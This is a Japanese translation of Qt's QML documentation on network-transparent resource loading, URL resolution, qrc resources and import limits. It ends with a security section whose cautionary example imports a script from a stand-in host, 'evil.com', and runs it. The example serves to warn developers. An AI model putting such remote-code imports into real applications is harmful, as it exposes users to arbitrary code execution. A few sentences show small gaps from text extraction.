リソースのロードとネットワークの透過性
QMLでは、QML文書から他のコンテンツへの参照にファイル名ではなくURLを使用することで、ネットワークの透過性をサポートしています。つまり、URLソースが期待される場所であれば、QMLはローカルのリソースと同様にリモートのリソースを扱うことができるのです:
Image { source: "http://www.example.com/images/logo.png" }
相対URLは相対ファイルと同じですから、通常のファイルシステム上で のQMLの開発は簡単なままです:
Image { source: "images/logo.png" }
ネットワークの透過性はQML全体でサポートされており、例えばFontLoader とImageの両要素はリモートサーバからのリソースの読み込みをサポートしています。
例えば、http://example.com/mystuff/qmldir
と Image 要素はリモートサーバーからのリソースの読み込みをサポートしています。また、QMLの型自体もネットワーク上に置くことができます。 http://example.com/mystuff/Hello.qml
を読み込むために qml ツールが使用され、そのコンテンツが "World "という型を参照している場合、エンジンは を読み込み、ローカルファイルと同じように型を解決します。例えば、qmldirファイルが "World World.qml "という行を含んでいる場合、エンジンはhttp://example.com/mystuff/World.qml
を読み込みます。Hello.qml
が通常相対URLで参照する他のリソースも同様にネットワークから読み込まれます。
相対URLと絶対URL
オブジェクトが URL (QUrl) 型のプロパティを持つ場合、そのプロパティに文字列を代入すると、文字列が使用されているドキュメントの URL に対して文字列を解決することによって、実際には絶対 URL が代入されます。
例えば、http://example.com/mystuff/test.qml
の内容を考えてみましょう:
Image { source: "images/logo.png" }
Image のソース・プロパティにはhttp://example.com/mystuff/images/logo.png
が割り当てられますが、QMLが開発されている間、例えばC:\User\Fred\Documents\MyStuff\test.qml
ではC:\User\Fred\Documents\MyStuff\images\logo.png
が割り当てられます。
URLに割り当てられている文字列がすでに絶対URLである場合、「解決」はそれを変更せず、URLは直接割り当てられます。
QRCリソース
Qtに組み込まれているURLスキームの1つに "qrc "スキームがあります。これにより、Qt Resource Systemを使用してコンテンツを実行ファイルにコンパイルすることができます。これを使うことで、実行ファイルは実行ファイルにコンパイルされたQMLコンテンツを参照することができます:
QQuickView *view = new QQuickView; view->setUrl(QUrl("qrc:/dial.qml"));
コンテンツ自身は相対 URL を使用することで、コンテンツが実行ファイルにコンパイルされていることを意識することなく、透過的に参照することができます。
制限事項
import
。"as "節がある場合のみ、ネットワーク透過的です。
具体的には
import "dir"
ローカルファイルシステム上でのみ動作import libraryUri
ローカルファイルシステム上でのみ動作import "dir" as D
ネットワーク透過的に動作するimport libraryUrl as U
ネットワーク透過的に動作する
アプリケーションセキュリティへの影響
QMLのセキュリティモデルは、QMLのコンテンツは信頼されたコンテンツの連鎖である というものです。ユーザは、ネイティブのQtアプリケーションや、PythonやPerlのようなランタイ ムで書かれたプログラムをインストールするのと同じように、信頼されたQMLのコンテン ツをインストールします。この信頼は、いくつかのプラットフォームで利用可能なパッケージ署名を含む、いくつかのメカニズムによって確立されます。
ユーザーの信頼を守るために、QMLアプリケーションの開発者は任意のJavaScriptやQMLリソースを読み込んで実行するべきではありません。例えば、以下のQMLコードを考えてみましょう:
import QtQuick 2.0 import "http://evil.com/evil.js" as Evil Component { onLoaded: Evil.doEvil() }
これは "http://evil.com/evil.exe "をダウンロードして実行することと同じです。QMLエンジンは特定のリソースを読み込ませないようにすることはありません。ウェブブラウザの中で実行されるJavaScriptコードとは異なり、QMLアプリケーションは他のネイティブアプリケーションと同じように、リモートやローカルのファイルシステムのリソースを読み込むことができます。
そのため、QMLアプリケーションの開発者は、コンテンツの読み込みや実行に注意を払う必要があります。例えば、import
、Loader 、XMLHttpRequest を使って信頼できないコードやコンテンツを読み込まないようにしてください。
© 2025 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.